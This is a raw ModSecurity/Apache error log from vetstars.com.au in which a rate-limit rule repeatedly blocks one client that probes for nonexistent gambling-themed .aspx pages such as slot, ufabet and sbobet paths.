[Sun Apr 26 16:11:11.293103 2026] [:error] [pid 8383:tid 8404] [client 193.70.46.38:55460] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ae3In9Fa2S3EsATMdWP-JgAAAAc"]
[Sun Apr 26 16:11:13.696661 2026] [:error] [pid 8390:tid 8475] [client 193.70.46.38:55088] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ae3IoYGPtFK_i9p5yxQIOQAAAJg"]
[Sun Apr 26 16:11:16.120542 2026] [:error] [pid 8383:tid 8421] [client 193.70.46.38:55094] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ae3IpNFa2S3EsATMdWP-LwAAABg"]
[Sun Apr 26 16:11:18.646759 2026] [:error] [pid 16515:tid 16520] [client 193.70.46.38:55096] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ae3IpltDrUmgHSvpuLwfiQAAAkI"]
[Sun Apr 26 16:11:21.053388 2026] [:error] [pid 22573:tid 22630] [client 193.70.46.38:55100] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ae3IqXB3EmQlD4yKUt_B8gAAAZc"]
[Sun Apr 26 16:11:23.452505 2026] [:error] [pid 8390:tid 8475] [client 193.70.46.38:59510] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ae3Iq4GPtFK_i9p5yxQITAAAAJg"]
[Sun Apr 26 16:11:25.843011 2026] [:error] [pid 8390:tid 8459] [client 193.70.46.38:59516] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ae3IrYGPtFK_i9p5yxQIUgAAAIg"]
[Sun Apr 26 16:11:28.383058 2026] [:error] [pid 8385:tid 8447] [client 193.70.46.38:59526] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ae3IsDOy7_J84Wx3-oy2-gAAAFc"]
[Sun Apr 26 16:11:30.765338 2026] [:error] [pid 8383:tid 8416] [client 193.70.46.38:59536] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ae3IstFa2S3EsATMdWP-OQAAABM"]
[Sun Apr 26 16:11:33.179776 2026] [:error] [pid 8383:tid 8403] [client 193.70.46.38:46612] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ae3ItdFa2S3EsATMdWP-OgAAAAY"]
[Sun Apr 26 16:11:35.698284 2026] [:error] [pid 8385:tid 8448] [client 193.70.46.38:46622] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ae3ItzOy7_J84Wx3-oy3BQAAAFg"]
[Sun Apr 26 16:11:38.092589 2026] [:error] [pid 8390:tid 8455] [client 193.70.46.38:46638] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ae3IuoGPtFK_i9p5yxQIWwAAAIQ"]
[Sun Apr 26 16:11:40.594779 2026] [:error] [pid 8390:tid 8462] [client 193.70.46.38:46652] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ae3IvIGPtFK_i9p5yxQIYAAAAIs"]
[Sun Apr 26 16:11:43.007904 2026] [:error] [pid 8491:tid 8506] [client 193.70.46.38:46658] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ae3Ivyq7I7e6CJooQM3nZgAAAMc"]
[Sun Apr 26 16:11:45.529862 2026] [:error] [pid 8390:tid 8467] [client 193.70.46.38:56188] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ae3IwYGPtFK_i9p5yxQIZwAAAJA"]
[Sun Apr 26 16:11:48.047454 2026] [:error] [pid 8383:tid 8401] [client 193.70.46.38:56204] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ae3IxNFa2S3EsATMdWP-UgAAAAQ"]
[Sun Apr 26 16:11:50.559171 2026] [:error] [pid 8383:tid 8419] [client 193.70.46.38:56208] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ae3IxtFa2S3EsATMdWP-YAAAABY"]
[Sun Apr 26 16:11:52.964400 2026] [:error] [pid 22573:tid 22622] [client 193.70.46.38:56214] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ae3IyHB3EmQlD4yKUt_B-AAAAY8"]
[Sun Apr 26 16:11:55.468081 2026] [:error] [pid 8390:tid 8475] [client 193.70.46.38:43672] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ae3Iy4GPtFK_i9p5yxQIdgAAAJg"]
[Sun Apr 26 16:12:21.713447 2026] [:error] [pid 8390:tid 8463] [client 193.70.46.38:43674] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ae3I5YGPtFK_i9p5yxQIlAAAAIw"]
[Sun Apr 26 16:12:24.187634 2026] [:error] [pid 8383:tid 8414] [client 193.70.46.38:47650] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ae3I6NFa2S3EsATMdWP-lwAAABE"]
[Sun Apr 26 16:12:26.538418 2026] [:error] [pid 22572:tid 22595] [client 193.70.46.38:47672] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ae3I6tXOViWCFU-pZzD20wAAAVE"]
[Sun Apr 26 16:12:29.052671 2026] [:error] [pid 16515:tid 16524] [client 193.70.46.38:47686] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ae3I7VtDrUmgHSvpuLwfrQAAAkY"]
[Sun Apr 26 16:12:31.591802 2026] [:error] [pid 8383:tid 8421] [client 193.70.46.38:47704] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ae3I79Fa2S3EsATMdWP-mwAAABg"]
[Sun Apr 26 16:12:34.109748 2026] [:error] [pid 13197:tid 13235] [client 193.70.46.38:57558] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ae3I8t3kktFKdSxTrBvDJwAAAsQ"]
[Sun Apr 26 16:12:36.612981 2026] [:error] [pid 22572:tid 22593] [client 193.70.46.38:57560] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ae3I9NXOViWCFU-pZzD23AAAAU8"]
[Sun Apr 26 16:12:39.124034 2026] [:error] [pid 8383:tid 8406] [client 193.70.46.38:57576] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ae3I99Fa2S3EsATMdWP-vwAAAAk"]
[Sun Apr 26 16:12:41.622174 2026] [:error] [pid 8383:tid 8419] [client 193.70.46.38:57592] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ae3I-dFa2S3EsATMdWP-0AAAABY"]
[Sun Apr 26 16:12:43.984081 2026] [:error] [pid 22572:tid 22590] [client 193.70.46.38:39800] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ae3I-9XOViWCFU-pZzD25QAAAUw"]
[Sun Apr 26 16:12:46.504363 2026] [:error] [pid 8383:tid 8419] [client 193.70.46.38:39820] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ae3I_tFa2S3EsATMdWP-7QAAABY"]
[Sun Apr 26 16:12:49.027670 2026] [:error] [pid 22572:tid 22583] [client 193.70.46.38:39828] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ae3JAdXOViWCFU-pZzD26gAAAUU"]
[Sun Apr 26 16:12:51.543150 2026] [:error] [pid 16515:tid 16522] [client 193.70.46.38:39842] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ae3JA1tDrUmgHSvpuLwfugAAAkQ"]
[Sun Apr 26 16:12:54.038348 2026] [:error] [pid 8385:tid 8436] [client 193.70.46.38:42480] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ae3JBjOy7_J84Wx3-oy3MQAAAEw"]
[Sun Apr 26 16:12:56.531223 2026] [:error] [pid 22572:tid 22594] [client 193.70.46.38:42496] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ae3JCNXOViWCFU-pZzD28QAAAVA"]
[Sun Apr 26 16:12:59.059191 2026] [:error] [pid 8390:tid 8465] [client 193.70.46.38:42502] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ae3JC4GPtFK_i9p5yxQJGQAAAI4"]
[Sun Apr 26 16:13:01.412149 2026] [:error] [pid 16574:tid 16609] [client 193.70.46.38:42532] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ae3JDX5MsX8wRQr99nYifAAAA0U"]
[Sun Apr 26 16:13:03.944355 2026] [:error] [pid 8383:tid 8416] [client 193.70.46.38:39484] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ae3JD9Fa2S3EsATMdWP_FwAAABM"]
[Sun Apr 26 16:13:06.325031 2026] [:error] [pid 8491:tid 8508] [client 193.70.46.38:39494] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ae3JEiq7I7e6CJooQM3neAAAAMk"]
[Sun Apr 26 16:13:08.836448 2026] [:error] [pid 8390:tid 8453] [client 193.70.46.38:39498] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ae3JFIGPtFK_i9p5yxQJHgAAAII"]
[Sun Apr 26 16:13:11.329631 2026] [:error] [pid 8390:tid 8470] [client 193.70.46.38:39516] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ae3JF4GPtFK_i9p5yxQJIwAAAJM"]
[Sun Apr 26 16:13:13.838923 2026] [:error] [pid 16515:tid 16527] [client 193.70.46.38:41138] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ae3JGVtDrUmgHSvpuLwfyAAAAkk"]
[Sun Apr 26 16:13:16.369415 2026] [:error] [pid 8390:tid 8472] [client 193.70.46.38:41156] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ae3JHIGPtFK_i9p5yxQJLAAAAJU"]
[Sun Apr 26 16:13:43.295724 2026] [:error] [pid 16515:tid 16525] [client 193.70.46.38:41158] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ae3JN1tDrUmgHSvpuLwf2gAAAkc"]
[Sun Apr 26 16:13:45.583528 2026] [:error] [pid 22573:tid 22624] [client 193.70.46.38:33544] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ae3JOXB3EmQlD4yKUt_CWAAAAZE"]
[Sun Apr 26 16:13:48.073550 2026] [:error] [pid 22573:tid 22609] [client 193.70.46.38:33550] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ae3JPHB3EmQlD4yKUt_CWgAAAYM"]
[Sun Apr 26 16:13:50.406448 2026] [:error] [pid 22572:tid 22587] [client 193.70.46.38:33578] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ae3JPtXOViWCFU-pZzD3CQAAAUk"]
[Sun Apr 26 16:13:52.924057 2026] [:error] [pid 8390:tid 8458] [client 193.70.46.38:33592] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ae3JQIGPtFK_i9p5yxQJUgAAAIc"]
[Sun Apr 26 16:13:55.414371 2026] [:error] [pid 8383:tid 8418] [client 193.70.46.38:43712] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ae3JQ9Fa2S3EsATMdWP_agAAABU"]
[Sun Apr 26 16:13:57.912650 2026] [:error] [pid 8383:tid 8410] [client 193.70.46.38:43738] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ae3JRdFa2S3EsATMdWP_fwAAAA0"]
[Sun Apr 26 16:14:00.453951 2026] [:error] [pid 8385:tid 8438] [client 193.70.46.38:43754] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ae3JSDOy7_J84Wx3-oy3UAAAAE4"]
[Sun Apr 26 16:14:02.941504 2026] [:error] [pid 22572:tid 22588] [client 193.70.46.38:43776] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae3JStXOViWCFU-pZzD3FAAAAUo"]
[Sun Apr 26 16:14:05.439972 2026] [:error] [pid 13197:tid 13232] [client 193.70.46.38:33464] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ae3JTd3kktFKdSxTrBvDNAAAAsE"]
[Sun Apr 26 16:14:07.943066 2026] [:error] [pid 8491:tid 8512] [client 193.70.46.38:33472] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ae3JTyq7I7e6CJooQM3niQAAAM0"]
[Sun Apr 26 16:14:10.461373 2026] [:error] [pid 8491:tid 8523] [client 193.70.46.38:33488] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae3JUiq7I7e6CJooQM3njgAAANc"]
[Sun Apr 26 16:14:12.953333 2026] [:error] [pid 8383:tid 8411] [client 193.70.46.38:33498] [client 193.70.46.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae3JVNFa2S3EsATMdWP_-gAAAA4"]
